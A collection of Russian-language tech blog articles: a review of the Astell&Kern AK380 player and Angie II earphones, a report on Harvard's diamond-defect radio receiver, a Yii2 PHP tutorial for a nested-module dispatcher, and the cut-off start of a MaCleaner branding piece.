Привет, Гиктаймс! Настоящие ценители звука знают, что 380-ым бывает не только Airbus (кстати, самый большой пассажирский самолёт в мире), но и настоящий флагман среди аудиоплееров от Astell&Kern. В определённых кругах данное устройство не нуждается в представлении, и лишь единицам удаётся прикоснуться к этому чуду аудиотехники. Тем интереснее было познакомиться с ним — всё же плееры за 250 тысяч рублей даже «людям в теме» попадают в руки далеко не каждый день. Айда под кат, хоть картинки посмотрим :) О премиум-сегменте некоторые почему-то стесняются заводить разговор, а зря: если в качестве материалов корпуса используются дорогие материалы, а само устройство представляет собой симбиоз десятков запатентованных решений, нет ничего удивительного в том, что и конечная цена у него соответствующая. Конечно, и премиум бывает разный: для кого-то это наушники за 50-60 тысяч рублей вроде Fostex TH-610 (о которых мы уже делали обзор ), для других — Audio-Technica за 100 тысяч рублей и выше, а у третьих слово «премиальный» и вовсе начинается с нескольких сотен тысяч. К последним и относятся наши сегодняшние гости от Astell&Kern — плеер АК380 и наушники Angie II . В своё время в мире портативного Hi-End мало кто мог потягаться с Colorfly C4, истинные аудиофилы прекрасно это помнят. Но как только он ушёл на покой, кто только не пытался занять его место: свои попытки предпринимали и iBasso, и даже Sony. Устройства они предлагали неплохие, однако, заявить о своём лидерстве со всей основательностью никто так и не смог. И вдруг на сцене появился неожиданный гость с Востока — Astell&Kern. Своим появлением эта корейская компания обязана компании Samsung, откуда в 1999 году ушли несколько инженеров для создания собственной компании с намерением производить… mp3-плееры. Не надо удивляться, в то время эти устройства хоть и не были на пике своей популярности, но спросом уже пользовались невероятным. На выходе получился iRiver, который стремительно ворвался на рынок и успел зарекомендовать себя как производитель недорогих, но в то же время качественных плееров, ведь поддерживали они не только MP3, но и OGG. Ну признайтесь, у каждого же был айривер? ;) Всё было бы хорошо, да вот так же быстро «нарисовались» конкуренты iRiver в лице Apple с её iPod и Sony, которые за пару лет переместились с горизонта на передний план. На их фоне пользователи стали забывать про некогда полюбившийся бренд. Однако в iRiver не растерялись и стали делать самое разумное в подобных ситуациях — искать свободную нишу. И нет, они не пошли штамповать наушники по несколько долларов: вместо этого решили пробить нишу портативного Hi-End, который впоследствии окрестили как «сверх-дорогой». Риск, конечно, был огромный — выходить на новый рынок с неизвестным брендом, да ещё и без наличия портфолио из инженерных решений. Но кто не рискует, тот не пьёт руссиано, а сейчас Astell&Kern запросто может наполнить себе этим напитком 50-метровый бассейн. Первый блин не оказался для нового бренда комом — Astell&Kern AK100 был принят покупателями радушно и с интересом, поэтому в компании решили не останавливаться на достигнутом. С каждым годом Astell&Kern совершенствовал технические решения, усложнял устройства, делая их всё более и более дорогими. Так появился AK240, который стоил уже свыше 3000 долларов и, несмотря на высокую цену, пользовался невероятным спросом. Казалось бы, вот она — вершина успеха, можно и остановиться. Но в словаре корейцев, похоже, просто нет такого слова. Ведь именно поэтому мы сегодня рассказываем вам о АК380 . Аудиоплеер был представлен Astell&Kern в мае прошлого года и за это короткое время завоевал себе звание одного из наиболее точных устройств для воспроизведения музыки, которые существуют на современном рынке. Комплектация Стильная чёрная коробка скрывает за собой сам АК380, который поначалу аккуратно берёшь четырьмя пальцами, несмотря на то, что из коробки он удобно достается с помощью «язычка» — здесь передаём привет компании Apple и её MacBook. Вообще, подход «открыли коробку — сразу увидели устройство» сначала обкатывали именно премиум-бренды, потом уже подтянулись остальные, которые ранее скрывали сам девайс множеством картона, гарантийными талонами и прочей макулатурой. Боковые линии коробки с точностью повторяют геометрию корпуса АК380, что делает её довольно футуристичной. Внутри ещё два черных бокса — в том, который побольше, необходимая документация, комплект плёнок и стильный коричневый чехол из натуральной кожи ручной выделки. В маленькой коробочке нашлось место кабелю micro-USB для зарядки и передачи файлов. Комплектация построена по принципу «ничего лишнего». Всё на своём месте, просто рай для перфекциониста. Даже выбрасывать такую коробку не хочется, но петь ей дифирамбы долго не будем — лучше посмотрим на сам плеер. Внешний вид Astell&Kern можно любить за один только дизайн его устройств. Но корпус АК380 — это что-то невероятное: настолько, что первое время просто залипаешь на плеер, пытаясь подобрать правильные слова (скорее даже эпитеты). Нам на ум пришли сразу три: элегантность, футуризм и новаторство. Внешний вид корпуса плеера очень необычный — это не обмылок и не привычный прямоугольный брусок, но в то же время все грани достаточно острые. Корпус изготовлен из авиационного дюралюминия, хотя по фотографиям иногда можно подумать, что в качестве материала используется дерево. Нет, только дорогой металл и карбон, которым прикрыта тыльная сторона плеера. Производитель характеризует цвет как «Яркий титан» (Meteoric Titan): в сочетании с материалами он меняется от медного до графитового в зависимости от угла падения света. Грани рублёные, из-за чего сперва сложно понять, какие же на самом деле габариты устройства. Поскольку к плееру такого уровня покупатель предъявляет самые высокие требования, неудивительно, что корпус продуман до мелочей — так, чтобы он был не только красивым, но ещё и удобным в использовании. Габариты 112x80x18 мм и вес всего 230 грамм делают устройство комфортным, плеер легко помещается в ладони и не выскальзывает. Фронтальная панель плеера представлена четырёхдюймовым экраном с разрешением 480x800. Хотя он сенсорный, производитель не побрезговал физическими кнопками — решение чем-то напоминает Apple Watch, где предусмотрено управление и с дисплея, и при помощи бокового «колёсика» Digital Crown. У AK380 вместо него колесо регулировки громкости, расположенное на правой кромке. Здесь же слот для карт памяти microSD — на случай, если встроенных 256 ГБ вам не хватит. Приятный бонус есть и у карбонового задника — винтик, с помощью которого можно прикрутить усилитель. На левом торце расположился блок управления воспроизведением, состоящий из трёх клавиш — две кнопки переключения между треками и кнопка Воспроизведение/Пауза. Сверху два выхода на наушники (обычный джек 3,5 мм и балансный 2,5 мм) и кнопка включения. Но это не был бы Astell&Kern, если бы не спрятал что-нибудь диковинное в корпусе. В случае с AK380 это сенсорная клавиша, утопленная прямо в алюминиевый корпус. Кнопка находится чуть ниже экрана и реагирует именно на нажатия — сенсор способен распознать их от обычного прикосновения. Забегая вперёд, отметим, что работает он практически безошибочно. Характеристики AK380 Этот пункт обзора мы специально разберём подробнее. Для начала пробежимся по основным параметрам и звуковым характеристикам при помощи сводных таблиц. Основные параметры Материал корпуса Авиационный дюралюминий Цвет Яркий титан (Meteoric Titan) Дисплей 4" WVGA (480x800), сенсорный Поддерживаемые форматы аудио WAV, FLAC, WMA, MP3, OGG, APE (Normal, High, Fast), AAC, ALAC, AIFF, DFF, DSF Частота дискретизации PCM: 8 — 384 КГц (8/16/24/32 бит на выборку) / нативный DSD: DSD64 (1 бит 2,8 МГц), Стерео / DSD128 (1 бит 5,6 МГц), Стерео Выходной уровень (без нагрузки) 2,2 Vrms (небалансный выход) / 2,3 Vrms (балансный выход) ЦАП AKM AK4490 x 2 (двойной ЦАП) Декодирование Поддержка побитового декодирования 32 бит / 384 кГц Вход micro-USB тип B Выходы Оптический (3,5 мм), балансный (2,5 мм, только 4-пиновый) Wi-Fi 802.11 b/g/n (2,4 ГГц) Bluetooth 4.0 (A2DP, AVRCP, aptX) Питание 3400 мАч, литий-полимерный Размеры 79,8 x 112,4 x 17,9 мм Вес 230 г Встроенная память 256 ГБ (NAND) Дополнительная память microSD до 128 ГБ Звуковые параметры Частотная характеристика ±0,053 дБ (20 Гц – 20 кГц), небалансный и балансный выход Небалансный: ±0,56 дБ (10 Гц – 70 кГц) Балансный: ±0,55 дБ (10 Гц – 70 кГц) Отношение сигнал/шум Небалансный: 116 дБ/кГц Балансный: 117 дБ/кГц Перекрестные помехи Небалансный: 130 дБ/кГц Балансный: 135 дБ/кГц КГИ + Н Небалансный: 0,0008% @ 1 кГц Балансный: 0,0007% @ 1 кГц IMD SMPTE Небалансный: 0,0007% 800Гц 10кГц 4:1 Балансный: 0,0006% 800Гц 10кГц 4:1 Выходное сопротивление Балансный выход 2,5 мм: 1 Ом Наушники 3,5 мм: 2 Ом Характеристики АК380 по-настоящему флагманские: показатель воспроизводимого аудио 32 бит/384 кГц вместо 24 бит/192 кГц, воспроизведение оригинального звука, а не преобразованного исходного с пониженной частотой дискретизации. Вы слышите музыку такой, какой она должна быть, без уменьшения разрешения. Отличие 32-битного воспроизведения АК380 от других плееров наглядно иллюстрируют изображения ниже. АК380: Другие плееры: В Astell&Kern AK380 также используется параметрический эквалайзер — он управляется отдельным процессором и обеспечивает регулировку звука с точностью до 0,1 дБ для каждой полосы. DSP берёт на себя все функции по формированию и фильтрации сигнала. Параметрический эквалайзер плеера 20-полосный, в отличие от того же АК240, где эквалайзер 10-полосный. Это позволяет охватить больше частот по сравнению с предшественником. Еще одна особенность АК380 — генератор повышенной точности Femto Clock с джиттером 200 фемтосекунд и VCXO. Последний задаёт частоту колебаний при помощи входного сигнала, а корректировка входного напряжения позволяет настроить точное значение частоты. Не сказать, что были удивлены увидеть высокоточный генератор в плеере — всё же это один из показателей дорогих аудиосистем, а у нас здесь представитель самого что ни на есть премиум-сегмента. В этом случае стоит обратить внимание на значение джиттера — ошибки, возникающей в опорной частоте, которая нужна для выполнения дискретизации. Величина джиттера у АК380 очень мала (фемтосекунда — одна квадриллионная секунды), Femto Clock обеспечивает её лучшую корректировку и настройку более точного значения частоты. Как создатели плеера решили не экономить на материалах корпуса, так и не поскупились на техническое оснащение плеера, чтобы свою главную задачу — высококлассное воспроизведение звука, он выполнял лучше всех. На каждый канал здесь отдельные ЦАПы АК4490, поддержка форматов DSD 64 и DSD 128, частоты дискретизации 384 кГц — такое даже в наше время не увидишь во многих стационарных Hi-Fi системах. Плеер даже может работать в качестве внешнего USB ЦАП — для этого в меню предусмотрен специальный режим. Если использовать балансное подключение, можно достичь максимальных результатов для режима линейного выхода. Тесты, проведённые с помощью RightMark Audio Analyzer наглядно демонстрируют, что значение некоторых параметров даже выше, чем заявлено производителем. Максимальное соотношение сигнал/шум 123 дБ обеспечивается путём установки двух цапов АК4490 в моно-режим — показатель чуть ли не запредельный. Вмешательство нелинейных искажений при воспроизведении файла с частотой дискретизации 44,1 кГц минимальное. Интерфейс и функциональность Операционная система AK380 отдалённо напоминает Android, если бы последнюю заточили под взаимодействие с музыкальным контентом. Интерфейс понятный и минималистичный, нет нагромождённости. Сенсорный экран отлично обрабатывает касания, действия сопровождаются плавной анимацией, лагов нет. Вообще. Захотели поменять режим — смахнули сверху соответствующее меню в любой момент времени. Здесь же можно найти кнопку с настройками. Домашний экран плеера по сути состоит из трёх частей: нижняя часть нужна для доступа к медиатеке на устройстве, в середине экрана расположен блок вызова утилиты сервиса AK Connect и обложка воспроизводимого трека, в верхней нашлось место статус-бару с уровнем заряда аккумулятора, текущим временем и другими параметрами. Плеер воспроизводит композиции как из папки, так и по исполнителю или конкретному жанру, работает с плейлистами. Для загрузки треков не требуется устанавливать дополнительное программное обеспечение. Треки воспроизводятся не только с карты памяти, но и с использованием внешних источников при помощи протокола DLNA. Порадовала поддержка Wi-Fi — это позволяет, например, автоматически обновить прошивку при наличии подключения к сети. Как и говорили выше, Astell&Kern AK380 также работает в режиме внешнего USB ЦАП. Подключили к нему мобильное устройство со своей медиа-библиотекой — и готово, не нужно переносить всё на внутренний носитель плеера. Чтобы передавать и воспроизводить файлы со смартфонов и планшетов было ещё удобнее, Astell&Kern предлагает приложение AK Connect, доступное для iOS и Android . Приложение AK Connect для Android   Приложение AK Connect для iOS Для рассказа о настройках звука под предпочтения вернёмся к рассказу о 20-полосном параметрическом эквалайзере. Возможности невероятно широкие, к тому же предусмотрена возможность сохранения пользовательских пресетов. Доступно большое количество частотных полос, удивило наличие настройки фильтрации при помощи добротности фильтров эквалайзера. Один из пресетов предоставляет сам Astell&Kern (PRO EQ). Время автономной работы AK380 составляет в среднем 8 часов с громкостью выше средней и наушниками сопротивлением 17 Ом (кстати, тестировали мы плеер с арматурными наушниками Angie II ). На полную зарядку уходит около 5 часов. Только чур без «пфф, у меня айпод 50 часов играет!» :) Звук Самое главное, конечно, как же звучит AK380. Как мы уже сказали, для оценки этого параметра использовались вставные наушники Angie II, которые также от Astell&Kern. Есть мнение, что если использовать плеер и наушники от одного производителя, при прослушивании можно постигнуть дзен. И, кажется, именно это произошло в нашем случае. Как звучит АК380 в связке с Angie II, спросите вы? Можно, конечно, сказать, что «воображаемая сцена проработана хорошо», «слышен каждый инструмент в оркестре» и «переносит на концерт исполнителя», но всё это уже настолько банально и избито, что не хочется лишний раз заводить эту шарманку. Звучит круто, просто поверьте. Можно сказать, потрясающе. Устройства прекрасно раскрывают потенциал друг друга, благодаря чему вам будет хотеться слушать музыку снова и снова, вне зависимости от жанровых предпочтений — будь то хип-хоп и классика или электронная музыка. Но если вас интересует субъективные впечатления — бас насыщенный, высокие частоты кристально чистые, тембр голоса тоже никуда не делся. Ну и «переносит на концерт исполнителя», конечно же :) А лучше послушайте сами, здесь поговорка «лучше один раз увидеть» не работает. Кстати, для расширения возможностей плеера можно ещё дополнительно обзавестись док-станцией для подзарядки с возможностью подключения к акустической системе, CD-рипером или портативным усилителем. Если первые два аксессуара больше на любителя, то вот усилитель станет отличным дополнением. Разумеется, при прослушивании композиций многое зависит от наушников. Angie II в этом плане подходят отлично — уникальная посадка, кастомные арматурные балансные драйверы по 8 на канал, встроенный кроссовер четвёртого порядка — это одни из лучших внутриканальных мониторов в сегменте до 120 тысяч рублей. Примерно одновременно с появлением АК240 Astell&Kern начал сотрудничать в Джерри Харви в области производства совместной линейки наушников на основе серии «Sirens» (Сирены) — раньше Харви выпускал её только в кастомном варианте. Каждая деталь корпуса и звуковые каналы Angie II изготовлены из цельного блока алюминия, на внешней стороне расположена карбоновая пластина с логотипом бренда. Новая запатентованная конструкция драйверов превращает наушники в идеальный инструмент для мастеринга. Технология SoundrIVe использует по 8 драйверов на канал (по 2 арматурных балансных драйвера на низкие и средние частоты, 4 драйвера на высокие). А при помощи FreqPhase каждый драйвер обеспечивается сигналом в пределах 0,01 миллисекунды. В комплекте с Angie II идут пенные амбушюры Comply, а также два кабеля — небалансный 3,5 мм и балансный 2,5 мм. На такое решение в Astell&Kern решили пойти из-за наличия 4-пинового балансного выхода 2,5 мм в АК380. По сути сам производитель советует использовать плеер именно с этими наушниками. Характеристики Astell&Kern Angie II Тип наушников Арматурные Импеданс 17 Ом Чувствительность 117 дБ/мВт Диапазон воспроизводимых частот 10 — 23000 Гц Количество излучателей 8 Изоляция от внешнего шума 26 дБ Разъём наушников Миниджек 3.5 мм Подключение Проводные При помощи пульта на кабеле и отвёртки можно регулировать переменные басы наушников — настроить низкочастотные драйверы в диапазоне от 10 Гц до 100 Гц, изменяя количество баса от 0 до +15 дБ. Здесь должен быть вывод Но написать его не так просто. Словами связку AK380 и Angie II не описать, даже употребляя самые красноречивые выражения русского языка. Ощущения такие, будто и голова, и уши словно начинают работать по-другому: звук настолько крутой, что невольно становишься музыкальным критиком, оценивающим игру барабанщика или клавишника. Любимые композиции начинают звучать совершенно иначе и поначалу это даже пугает. Сначала просто слушаешь разные треки, потом начинаешь слушать один и тот же трек на разных пресетах эквалайзера, потом выбираешь какой-то и переслушиваешь на нём все прослушанные ранее треки и далее по кругу. Много ли 350 тысяч рублей за такой комплект? Этот вопрос многим не дает покоя. Ответим так: можно сколько угодно говорить о бесполезности подобных Hi-End девайсов, что аудиофилия хуже наркомании, что на эти деньги можно купить автомобиль или 20 стиральных машин и так далее. Однако если вы не слышите, как во время концерта оркестра фальшивит скрипач в третьем ряду, это вовсе не значит, что это не могут уловить люди со слухом гораздо острее. Для них это не просто музыка.
https://geektimes.ru/company/hfhe/blog/283844/
habrahabr
Специалисты из Гарварда создали из алмаза самый маленький радиоприемник в мире
['лазеры', 'радиоприемник', 'научные исследования']
Этот радиоприемник — только начало работы, в будущем ученые планируют использовать и другие свойства алмазов для создания миниатюрных радиоэлектронных элементов Исследователи из SEAS (Harvard...
Этот радиоприемник — только начало работы, в будущем ученые планируют использовать и другие свойства алмазов для создания миниатюрных радиоэлектронных элементов Исследователи из SEAS ( Harvard John A. Paulson School of Engineering and Applied Sciences ) создали самый маленький радиоприемник в мире из розовых алмазов. Точнее, роль приемника играют не сами алмазы, а микроскопически малые дефекты в кристаллической решетке размером с несколько атомов. Само крохотное радио сформировано из блоков, размер которых составляет два атома. Работать такой приемник может в самых неблагоприятных условиях, когда любое электронное устройство попросту выйдет из строя. Это может быть поверхность Венеры, жерло вулкана. Аналогичную систему можно использовать и в медицине — например, использовать подобный модуль в качестве кардиостимулятора. Руководителем группы разработчиков стал Марко Лончар (Marko Lončar). Он вместе со своим аспирантом Линбо Шао (Linbo Shao) подал идею использовать точечные дефекты алмазов, которые известны, как азото-замещенная вакансия в алмазе. Сам дефект представляет собой нарушение строения кристаллической решетки алмаза, которое возникает при удалении атома углерода из узла решетки и связывании образовавшейся вакансии с атомом азота. Уникальность этого дефекта состоит в том , что его свойства практически аналогичны свойствам атома, будь тот «заморожен» в кристаллической решётке алмаза: электронные спины индивидуального центра легко манипулируются: светом; магнитным, электрическим и микроволновыми полями; — что позволяет записывать квантовую информацию (кубиты) на спине ядра центра. Такая манипуляция возможна даже при комнатной температуре; центр имеет продолжительное (достигающее нескольких миллисекунд) время хранения наведённой спиновой поляризации… В настоящее время — NV-центр может рассматриваться как базовый логический элемент будущего квантового процессора, необходимого для создания квантового компьютера, линий связи с квантовым протоколом безопасности и других применений спинтроники. Для того, чтобы создать азото-замещенную вакансию, исследователи замещали атом углерода в крошечном алмазе на атом азота, убирая один из соседних атомов. В итоге образовывалась система из атома азота и «дыркой». Вакансии могут использоваться для излучения одного фотона, или же для обнаружения слабого магнитного поля. Системам такого типа присущи фотолюминисцентные свойства, что означает возможность преобразования информации в свет. Это открывает возможность использования азото-замещенных вакансий в квантовых вычисления, фотонике и прочих сферах. Даже высокочистый природный и синтетический (IIa-типа) алмаз содержит небольшую концентрацию NV-центров. (Высокочистый синтетический алмаз изготавливают с помощью химического осаждения из паровой фазы (CVD)). Если же концентрация центров недостаточна, то образцы облучают и отжигают. Облучение ведут высокоэнергетическими частицами (10—80 кэВ); это может быть поток: электронов, протонов, нейтронов и гамма-частиц. NV-центры создаются на глубине до 60 мкм. Интересно, что NV0 в основном залегают до 0.2 мкм глубин. Созданные вакансии при комнатной температуре малоподвижны, однако при повышении температуры (выше 800С) их подвижность значительно вырастает. Атом азота, внедрённый в решётку, захватывает одну из вакансий и создаёт с другой соседней вакансией NV−. Что касается радиоприемников, то они обычно состоят из пяти базовых компонентов: источника энергии, приемника, преобразователя, который превращает электромагнитные волны в электрический ток, регулятора и динамика. У системы, созданной специалистами из Гарварда есть все эти компоненты, хотя и не в том виде, в котором мы их привыкли видеть. Источник энергии здесь — луч лазера, который направлен на электроны в азото-замещенных вакансиях. Электроны чувствительны к электромагнитному полю, так что они под воздействием лазерных лучей реагируют на радиоволны. Когда вакансия обнаруживает радиоволну, она преобразует ее в красный свет, который перенаправляется через фотодиод (в данном случае это преобразователь). Он превращает свет в ток. Дальше ток преобразуется в звук при помощи динамика. Но что насчет настройки такого приемника? Эту проблему ученые тоже решили. Они создали вокруг алмаза магнитное поле, которым можно управлять для изменения частоты воспринимаемых вакансиями радиоволн. Сигнал может быть усилен, если работать с бОльшим количеством вакансий. В работе исследователей из SEAS используются миллиарды таких точечных дефектов алмазов. Работать система может и с одной вакансией, но, к сожалению, в этом случае излучать можно лишь один фотон за раз, вместо потока красного света. В будущем команда исследователей надеется изучить возможность работы с другими дефектами атомов, например, с кремниевыми вакансиями в алмазах. Возможно, это поможет лучше управлять радиоволнами. При проведении пробных испытаний алмазного радиоприемника ученые работали, в том числе, в условиях повышенной температуры — около 350 градусах Цельсия. «У алмазов уникальные свойства», — говорит руководитель проекта. «Этот радиоприемник может работать в космосе, в сложных условиях или в теле человека». Исследование поддерживалось научным центром STC Center for Integrated Quantum Materials .
https://geektimes.ru/post/283826/
habrahabr
Yii2: Делаем модуль для управления модулями
['php', 'yii2', 'yii2 framework', 'модуль', 'разработка сайтов']
Приветствую всех! На текущем проекте мы используем Yii2 и в процессе разработки понадобилась некая сущность как модуль. В Yii2 уже реализована модульная система, но есть один минус в том что...
Приветствую всех! На текущем проекте мы используем Yii2 и в процессе разработки понадобилась некая сущность как модуль. В Yii2 уже реализована модульная система, но есть один минус в том что модуль не позволяет выводить один модуль в другом модуле, а использования виджетов тоже не подходит, т.к. это часть вида и не умеет обрабатывать действия, например входящий POST-запрос (хотя одно время мы использовали виджеты так с некими костылями). Мы создадим модуль, который будет содержать вложенные модули, которые можно будет использовать в любом контроллере. В итоге мы получим: Модули выводятся в любом контроллере Управление через БД состоянием модуля (включен/выключен) и его позицией Обработка входящих запросов Вывод только на определенных страницах нужные модули За идею взято реализация модулей в CMS OpenCart. Начнем с создания модуля dispatcher через gii и подключим его в конфиге web.php 'dispatcher' => [ 'class' => 'app\modules\dispatcher\Module', ], В директории модуля app\modules\dispatcher создадим класс BasicModule , который наследуется от \yii\base\Module . BasicModule.php <?php namespace app\modules\dispatcher; use app\modules\dispatcher\components\Controller; use app\modules\dispatcher\models\LayoutModule; /** * * Class Module * @package app\modules\dispatcher\components * */ class BasicModule extends \yii\base\Module { const POSITION_HEADER = 'header'; const POSITION_FOOTER = 'footer'; const POSITION_LEFT = 'left'; const POSITION_RIGHT = 'right'; /** * @var array of positions */ static protected $positions = [ self::POSITION_HEADER, self::POSITION_FOOTER, self::POSITION_LEFT, self::POSITION_RIGHT, ]; /** * @var string controller name */ public $defaultControllerName = 'DefaultController'; /** * @var string dir of modules catalog */ public $modulesDir = 'catalog'; /** * @var string modules namespace */ private $_modulesNamespace; /** * @var string absolute path to modules dir */ public $modulePath; /** * * @throws \yii\base\InvalidParamException */ public function init() { parent::init(); $this->_setModuleVariables(); $this->loadModules(); } /** * Load modules from directory by path * @throws \yii\base\InvalidParamException */ protected function loadModules() { $handle = opendir($this->modulePath); while (($dir = readdir($handle)) !== false) { if ($dir === '.' || $dir === '..') { continue; } $class = $this->_modulesNamespace . '\\' . $dir . '\\Module'; if (class_exists($class)) { $this->modules = [ $dir => [ 'class' => $class, ], ]; } } closedir($handle); } /** * @param $layout * @param array $positions * @return array * @throws \yii\base\InvalidConfigException */ public function run($layout, array $positions = []) { $model = $this->findModel($layout, $positions); $data = []; foreach ($model as $item) { if ($controller = $this->findModuleController($item['module'])) { $data[$item['position']][] = \Yii::createObject($controller, [$item['module'], $this])->index(); } } return $data; } /** * @param $layout_id * @param array $positions * @return array|\yii\db\ActiveRecord[] * @internal param $layout */ public function findModel($layout_id, array $positions = []) { if (empty($positions)) { $positions = self::$positions; } return LayoutModule::find() ->where([ 'layout_id' => $layout_id, 'position' => $positions, 'status' => LayoutModule::STATUS_ACTIVE, ])->orderBy([ 'sort_order' => SORT_ASC ])->asArray()->all(); } /** * @param $name * @return null|string */ public function findModuleController($name) { $className = $this->_modulesNamespace . '\\' . $name . '\controllers\\' . $this->defaultControllerName; return is_subclass_of($className, Controller::class) ? $className : null; } /** * Set modules namespace and path */ private function _setModuleVariables() { $class = new \ReflectionClass($this); $this->_modulesNamespace = $class->getNamespaceName() . '\\' . $this->modulesDir; $this->modulePath = dirname($class->getFileName()) . DIRECTORY_SEPARATOR . $this->modulesDir; } } Унаследуем класс модуля app\modules\dispatcher\Module от BasicModule Module.php <?php namespace app\modules\dispatcher; /** * dispatcher module definition class */ class Module extends BasicModule { /** * @inheritdoc */ public function init() { parent::init(); } } Создадим и выполним миграцию: Миграция public $table = '{{%layout_module}}'; public function safeUp() { $tableOptions = null; if ($this->db->driverName === 'mysql') { $tableOptions = 'CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB'; } $this->createTable($this->table, [ 'id' => $this->primaryKey(), 'layout_id' => $this->integer()->notNull(), // id страницы для вывода нашего модуля 'module' => $this->string(150)->notNull(), //название модуля 'status' => $this->boolean()->defaultValue(true), 'position' => $this->string(30)->notNull(), 'sort_order' => $this->integer()->defaultValue(1), ], $tableOptions); } public function safeDown() { $this->dropTable($this->table); } Заполним созданную таблицу: INSERT INTO `layout_module` VALUES ('1', '1', 'test', '1', 'header', '1'); INSERT INTO `layout_module` VALUES ('2', '1', 'test', '1', 'footer', '1'); INSERT INTO `layout_module` VALUES ('3', '1', 'test', '1', 'left', '1'); В корне нашего модуля dispatcher добавим директорию components . Создадим класс Controller который будет наследовать \yii\web\Controller . Переопределим в нем метод render() . Controller.php <?php namespace app\modules\dispatcher\components; /** * * Class Controller * @package app\modules\dispatcher\components */ class Controller extends \yii\web\Controller { /** * @param string $view * @param array $params * @return string * @throws \yii\base\InvalidParamException * @throws \yii\base\ViewNotFoundException * @throws \yii\base\InvalidCallException */ public function render($view, $params = []) { $controller = str_replace('Controller', '', $this->module->defaultControllerName); $path = '@app/modules/dispatcher/' . $this->module->modulesDir . '/' . $this->id . '/views/' . $controller; return $this->getView()->render($path . '/' . 'index', $params, $this); } } В корне модуля dispatcher добавим директорию catalog — это родительская директория для наших модулей. Дальше мы создаем наш первый модуль, который по своей структуре ничем не отличается от обычно модуля Yii2 . Создаем директорию test , в ней создаем класс Module : Module.php <?php namespace app\modules\dispatcher\catalog\test; /** * test module definition class */ class Module extends \yii\base\Module { /** * @inheritdoc */ public $controllerNamespace = 'app\modules\dispatcher\catalog\test\controllers'; } Создаем директорию controllers и в ней класс DefaultController который наследуем от нашего app\modules\dispatcher\components\Controller . DefaultController.php <?php namespace app\modules\dispatcher\catalog\test\controllers; use app\modules\dispatcher\components\Controller; /** * Default controller for the `test` module */ class DefaultController extends Controller { /** * Renders the index view for the module * @return string * @throws \yii\base\InvalidParamException * @throws \yii\base\ViewNotFoundException * @throws \yii\base\InvalidCallException */ public function index() { return $this->render('index'); } } Важно: чтоб работал наш модуль он всегда должен наследоваться от app\modules\dispatcher\components\Controller и содержать метод index Создадим директории для представления views/default и файл нашего представления: index.php <div class="dispatcher-default-index"> <p> You may customize this page by editing the following file:<br> <code><?= __FILE__ ?></code> </p> </div> Почти все готово, осталось только сделать вызов наших модулей. Для этого создадим компонент Dispatcher в app\modules\dispatcher\components : Dispatcher.php <?php namespace app\modules\dispatcher\components; use yii\base\Object; class Dispatcher extends Object { /** * @var \app\modules\dispatcher\Module */ private $_module; public $module = 'dispatcher'; /** * Dispatcher constructor. * @param array $config */ public function __construct(array $config = []) { parent::__construct($config); $this->_module = \Yii::$app->getModule($this->module); } /** * Get modules by layout * * @param $layout * @param array $positions * @return array * @throws \yii\base\InvalidConfigException */ public function modules($layout, array $positions = []) { return $this->_module->run($layout, $positions); } } Теперь надо подключить наш компонент в web.php 'dispatcher' => [ 'class' => 'app\modules\dispatcher\components\Dispatcher', ], Не забываем что компонент надо добавить в массив components . В любом контроллере, например SiteController , в методе actionIndex() добавим /* @var $modules Dispatcher */ $modules = \Yii::$app->dispatcher->modules(1); return $this->render('index', compact('modules')); Осталось только добавить в наше представление позиции для вывода модулей views/site/index.php : index.php <?php /* @var $this yii\web\View */ $this->title = 'My Yii Application'; use app\modules\dispatcher\Module; ?> <div class="site-index"> <?php if (isset($modules[Module::POSITION_HEADER])) { ?> <div class="row"> <?php foreach ($modules[Module::POSITION_HEADER] as $module) { echo $module; } ?> </div> <?php } ?> <div class="jumbotron"> <h1>Congratulations!</h1> <p class="lead">You have successfully created your Yii-powered application.</p> <p><a class="btn btn-lg btn-success" href="http://www.yiiframework.com">Get started with Yii</a></p> </div> <div class="body-content"> <div class="row"> <div class="col-lg-4"> <h2>Heading</h2> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.</p> <p><a class="btn btn-default" href="http://www.yiiframework.com/doc/">Yii Documentation »</a></p> </div> <div class="col-lg-4"> <h2>Heading</h2> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.</p> <p><a class="btn btn-default" href="http://www.yiiframework.com/forum/">Yii Forum »</a> </p> </div> <div class="col-lg-4"> <h2>Heading</h2> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.</p> <p><a class="btn btn-default" href="http://www.yiiframework.com/extensions/">Yii Extensions »</a></p> </div> </div> </div> <?php if (isset($modules[Module::POSITION_FOOTER])) { ?> <div class="row"> <?php foreach ($modules[Module::POSITION_FOOTER] as $module) { echo $module; } ?> </div> <?php } ?> </div> Рекомендую официальную документацию по модулям . Весь код выложен на GitHub .
https://habrahabr.ru/post/317950/
habrahabr
История одного названия, или позиционирование продукта на новой платформе
['позиционирование', 'брендинг', 'бренд', 'windows 10', 'кроссплатформенность']
MaCleaner — утилита для чистки Mac компьютеров, которая уже знакома нашим читателям. Продвижение этого продукта на рынке клинеров для Mac было сопряжено со многими сложностями — с самого начала мы...
